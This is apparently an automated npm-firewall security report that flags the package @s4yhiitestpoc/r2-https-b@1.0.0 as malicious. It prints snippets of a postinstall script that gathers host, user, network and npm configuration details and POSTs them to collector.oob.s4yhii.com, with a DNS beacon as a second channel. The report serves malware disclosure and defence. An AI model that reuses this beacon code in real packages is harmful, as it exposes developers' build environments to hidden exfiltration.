---
canonical: "https://firewall.lpm.dev/npm/@s4yhiitestpoc/r2-https-b"
markdown: "https://firewall.lpm.dev/npm/@s4yhiitestpoc/r2-https-b/v/1.0.0.md"
package: "@s4yhiitestpoc/r2-https-b"
report_status: "published"
title: "@s4yhiitestpoc/r2-https-b@1.0.0 npm security report"
verdict: "malicious"
version: "1.0.0"
---

# @s4yhiitestpoc/r2-https-b@1.0.0 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — The collector receives identifying build-environment information, including configured registry and local network details.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Block by default
- **Public report status:** Published
- **Threat category:** Data Exfiltration
- **Selected version:** 1.0.0
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

The active install hook performs outbound collection and transmission of host and registry configuration metadata. This is concrete install-time data exfiltration, so publication should be blocked.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 99.0%
- **Started:** 2026-10-12T06:53:21.653Z
- **Finished:** 2026-10-12T06:53:59.291Z
- **Download time:** 1516 ms
- **Static scan time:** 19 ms
- **AI review time:** 36102 ms
- **Total time:** 37638 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** The package runs an install-time beacon that sends host and npm configuration metadata to an external collector.

- **Trigger:** Installing the package runs its postinstall script.

- **Impact:** The collector receives identifying build-environment information, including configured registry and local network details.

- **Evidence paths:** package.json, postinstall.js

- **Review source:** ai\_review

- **Reviewed:** 2026-10-12T06:53:59.291Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** The script gathers machine identity, network details, and selected npm environment values, then sends them over HTTPS and performs a secondary DNS lookup.

- **Attack narrative:** On installation, the postinstall script gathers host and user identity, network details, and selected npm configuration values. It transmits the report to an external HTTPS collector and makes a secondary DNS lookup, exposing build-environment information without an explicit user action beyond installation.

- **Rationale:** The active install hook performs outbound collection and transmission of host and registry configuration metadata. This is concrete install-time data exfiltration, so publication should be blocked.

- **Files touched:** package.json, postinstall.js

- **Network endpoints:** collector.oob.s4yhii.com, db03o8lag74hsugsg2j091t8mfcf437h3.oob.s4yhii.com

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** The postinstall hook runs automatically during installation., The hook collects host, user, home-directory, network-interface, DNS, and npm registry/configuration metadata., It sends the report by HTTPS POST to an external collector and also makes a DNS lookup to an external host.

- **Evidence against:** The inspected code does not collect file contents, credentials, or general environment variables; its npm environment reads are limited to a fixed list.

## Affected versions and remediation

This report applies to @s4yhiitestpoc/r2-https-b@1.0.0.

- Avoid installing @s4yhiitestpoc/r2-https-b@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/@s4yhiitestpoc/r2-https-b@1.0.0/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.postinstall = node ./postinstall.js
```

### 2. Medium: Ambiguous Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 75.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/@s4yhiitestpoc/r2-https-b@1.0.0/package.json>)

Install-time lifecycle script is not statically allowlisted and needs review.

Public source snippet (untrusted):

```json
scripts.postinstall = node ./postinstall.js
```

### 3. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 4. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 5. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 6. High: Host Fingerprint Exfiltration
- **Category:** Source
- **Confidence:** 86.0%
- **Path:** postinstall.js
- **Public source:** [View source](<https://unpkg.com/@s4yhiitestpoc/r2-https-b@1.0.0/postinstall.js>)

Source collects local host identity data and sends it to an external endpoint.

Public source snippet (untrusted):

```javascript
L15: const os = require("os");
L16: const dns = require("dns");
L17: const https = require("https");
...
L21: "npm_command",
L22: "npm[redacted]",
L23: "npm[redacted]",
L24: "npm[redacted]",
L25: "npm[redacted]",      // present only when a NON-default registry is configured
L26: "npm[redacted]",
...
L33: try {
L34: pkg = require("./package.json");
L35: } catch (e) {
```

### 7. High: Known Malware Source Fingerprint Signature
- **Category:** Supply Chain
- **Confidence:** 94.0%
- **Path:** postinstall.js
- **Public source:** [View source](<https://unpkg.com/@s4yhiitestpoc/r2-https-b@1.0.0/postinstall.js>)

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = malicious_source_fingerprint_signature
signature = 3f96740e98080c96
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = @s4yhiitestpoc/r2-https@1.0.0
matchedPath = postinstall.js
matchedIdentity = npm:QHM0eWhpaXRlc3Rwb2MvcjItaHR0cHM:1.0.0
similarity = 1.000
shingleOverlap = 2
summary = package final verdict is malicious
```

### 8. High: Suspicious Lifecycle Evidence
- **Category:** Manifest
- **Confidence:** 99.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/@s4yhiitestpoc/r2-https-b@1.0.0/package.json>)

The postinstall hook runs automatically during installation.

Public source snippet (untrusted):

```json
"scripts": { "postinstall": "node ./postinstall.js" },
  "files": ["RE
```

### 9. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** postinstall.js
- **Public source:** [View source](<https://unpkg.com/@s4yhiitestpoc/r2-https-b@1.0.0/postinstall.js>)

The hook collects host, user, home-directory, network-interface, DNS, and npm registry/configuration metadata.

Public source snippet (untrusted):

```javascript
hostname: os.hostname(),
  username: os.userInfo().username,
  homedir: os.homedir(),
  platform: os.platform(),
  arch: os.arch(),
  release: os.release(),
  nodeVersion: process.version,
  uptimeSeconds: Math.round(os.uptime()),
  dnsServers: dns.getServers(),
  addresses: localAddresses(),
  timestamp: new Date().toISOString(),
};

const body = JSO
```

### 10. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** postinstall.js
- **Public source:** [View source](<https://unpkg.com/@s4yhiitestpoc/r2-https-b@1.0.0/postinstall.js>)

The hook collects host, user, home-directory, network-interface, DNS, and npm registry/configuration metadata.

Public source snippet (untrusted):

```javascript
const NPM_KEYS = [
  "npm_command",
  "npm[redacted]",
  "npm[redacted]",
  "npm[redacted]",
  "npm[redacted]",      // present only when a NON-default registry is configured
  "npm[redacted]",
  "npm[redacted]",    // path to .npmrc, never its contents
  "npm_co
```

### 11. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** postinstall.js
- **Public source:** [View source](<https://unpkg.com/@s4yhiitestpoc/r2-https-b@1.0.0/postinstall.js>)

It sends the report by HTTPS POST to an external collector and also makes a DNS lookup to an external host.

Public source snippet (untrusted):

```javascript
hostname: "collector.oob.s4yhii.com",
    port: 443,
    path: "/_npm-poc/beacon",
    method: "POST",
    timeout: 5000,
    headers: {
      "Content-Type": "application/json",
      "Content-Length": Buffer.byteLength(body),
      "User-Agent": "npm[redacted] (s4yhii__)",
    },
  },
  (res) => res.resume()
);

req.on("error", () => {});
req.on("timeout",
```

### 12. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** postinstall.js
- **Public source:** [View source](<https://unpkg.com/@s4yhiitestpoc/r2-https-b@1.0.0/postinstall.js>)

It sends the report by HTTPS POST to an external collector and also makes a DNS lookup to an external host.

Public source snippet (untrusted):

```javascript
req.write(body);
req.end();

// Secondary DNS channel: proves execution even where outbound HTTPS is
// proxied or blocked. Carries only a fixed label identifying the pac
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** postinstall
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** @s4yhiitestpoc/r2-https-b
- **Ecosystem:** npm
- **Version:** 1.0.0
- **License:** MIT
- **Version published:** 2026-10-10T12:56:02.822Z
- **Package first seen:** 2026-10-10T21:53:18.462Z
- **Package last seen:** 2026-10-12T06:53:59.291Z
- **Known versions:** 2
- **Latest version:** 1.0.0
- **Appeal under review:** No
- **Description:** Round-2 sample: postinstall sends a minimal install fingerprint plus npm's own registry configuration over HTTPS. No credentials or general environment variables are read.
- **Artifact files:** 3
- **Artifact unpacked size:** 4,693 bytes
- **Artifact signatures:** 2
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/@s4yhiitestpoc/r2-https-b/v/1.0.0>)
- [OpenSSF/OSV advisory](<https://osv.dev/vulnerability/MAL-2026-17808>)
- [PACKAGE](<https://www.npmjs.com/package/@s4yhiitestpoc/r2-https-b/v/1.0.0>)
